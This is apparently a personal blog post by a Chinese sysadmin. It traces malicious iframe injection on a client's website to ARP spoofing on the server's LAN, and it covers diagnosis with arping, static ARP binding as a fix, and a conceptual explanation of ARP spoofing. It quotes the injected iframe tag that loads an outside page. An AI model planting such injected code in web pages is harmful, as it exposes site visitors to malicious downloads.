【小蜗牛有心之作
】
今天我单位的一客户打电话跟我说他们的网站出问题了,打开网页的时候被360安全卫士拦截了,拦截的原因是出现恶意下载代码。我也打开那网站测试了一下,我没有安装360安全卫士,发现偶尔能正常显示,偶尔又出现乱码,出现乱码的时候,发现浏览器的左下角显示正在连接到某网站!
我查看了源码,发现在网页的最顶处多了一行代码:
<iframe src=http://www.xxx.cn/yyy/zzz.htm width=50 height=0></iframe>
我咋一看,以为是网站jsp页面被植入代码了,登录客户的服务器后,找了半天没发现jsp页面以及其它的页面、文件有问题,于是在网络上搜索一下“页面被植入iframe”,发现ARP攻击可以被“中间人”插入代码。
我的理解如下: (如果不对,请大家指正!)
正常情况:
我的浏览器 --> 服务器
我的浏览器 <-- 服务器
ARP攻击有可能出现的情况:
我的浏览器 --> 中ARP木马的机器 --> 服务器
我的浏览器 <-- 中ARP木马的机器 <-- 服务器
如果是中ARP木马的机器,一般和服务器同在一个局域网段,经过后面的检测,这是我这次碰到的情况。
或者:
我的浏览器 --> 服务器网关中ARP --> 服务器
我的浏览器 <-- 服务器网关中ARP <-- 服务器
或者:
我的浏览器 --> 某指定的高危机器 --> 服务器
我的浏览器 <-- 某指定的高危机器 <-- 服务器
因此,从服务器返回的数据,可以被“中间者”插入代码或者篡改数据!
下面是我登录服务器检测的数据:
[root@mailserver jdmail]# arping 219.xxx.xxx.33
ARPING 219.xxx.xxx.33 from 219.xxx.xxx.41 eth0
Unicast reply from 219.xxx.xxx.33 [00:0F:AA:AA:DF:00] 3.405ms
Unicast reply from 219.xxx.xxx.33 [00:0F:AA:AA:DF:00] 1.046ms
Unicast reply from 219.xxx.xxx.33 [00:0F:AA:AA:DF:00] 1.358ms
Unicast reply from 219.xxx.xxx.33 [00:15:BB:BB:E2:EC] 8.870ms
Unicast reply from 219.xxx.xxx.33 [00:15:BB:BB:E2:EC] 4.665ms
...
[root@mailserver jdmail]# arp -a
? (219.xxx.xxx.33) at 00:15:BB:BB:E2:EC [ether] eth0
[root@mailserver jdmail]# arp -a
? (219.xxx.xxx.33) at 00:0F:AA:AA:DF:00 [ether] eth0
可以看出,返回的MAC地址是不一样的!
我的解决办法:
1、确认网关的MAC为00:0F:AA:AA:DF:00
2、绑定网关IP和MAC
# arp -s 219.xxx.xxx.33 00:0F:AA:AA:DF:00
3、是关掉网卡的ARP功能
# ifconfig eth0 -arp
弄完后,顺便打电话给服务器托管商,叫他们检测ARP攻击。
------------------------------------------------------------------------------------------
【ARP定义】
ARP(Address Resolution Protocol,地址解析协议)是一个位于TCP/IP协议栈中的底层协议,负责将某个IP地址解析成对应的MAC地址。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的进行。
【ARP攻击原理】
ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。ARP攻击主要是存在于局域网网络中,局域网中若有一台计算机感染ARP木马,则感染该ARP木马的系统将会试图通过“ARP欺骗”手段截获所在网络内其它计算机的通信信息,并因此造成网内其它计算机的通信故障。
【ARP欺骗举例】
假设一个网络环境中,网内有三台主机,分别为主机A、B、C。主机详细信息如下描述:
A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA
B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB
C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC
正常情况下A和C之间进行通讯,但是此时B向A发送一个自己伪造的ARP应答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是BB-BB-BB-BB-BB-BB(C的MAC地址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A被欺骗了),这时B就伪装成C了。同时,B同样向C发送一个ARP应答,应答包中发送方IP地址四192.168.10.1(A的IP地址),MAC地址是BB-BB-BB-BB-BB-BB(A的MAC地址本来应该是AA-AA-AA-AA-AA-AA),当C收到B伪造的ARP应答,也会更新本地ARP缓存(C也被欺骗了),这时B就伪装成了A。这样主机A和C都被主机B欺骗,A和C之间通讯的数据都经过了B。主机B完全可以知道他们之间说的什么:)。这就是典型的ARP欺骗过程。
【ARP攻击防护】
这里有不错的ARP攻防资料:
[url]http://www.linuxdiyf.com/viewarticle.php?id=79157[/url]
[url]http://www.diybl.com/course/6_system/linux/Linuxjs/20071019/78297_2.html[/url]
[url]http://blog.chinaunix.net/u/28387/showart_490196.html[/url]
------------------------------------------------------------------------------------------
赵小蜗牛
QQ: 755721501
在不断奉献中谋求生存发展、打造自己的优秀品质,用人性最本质最动人的一面“营销”自己!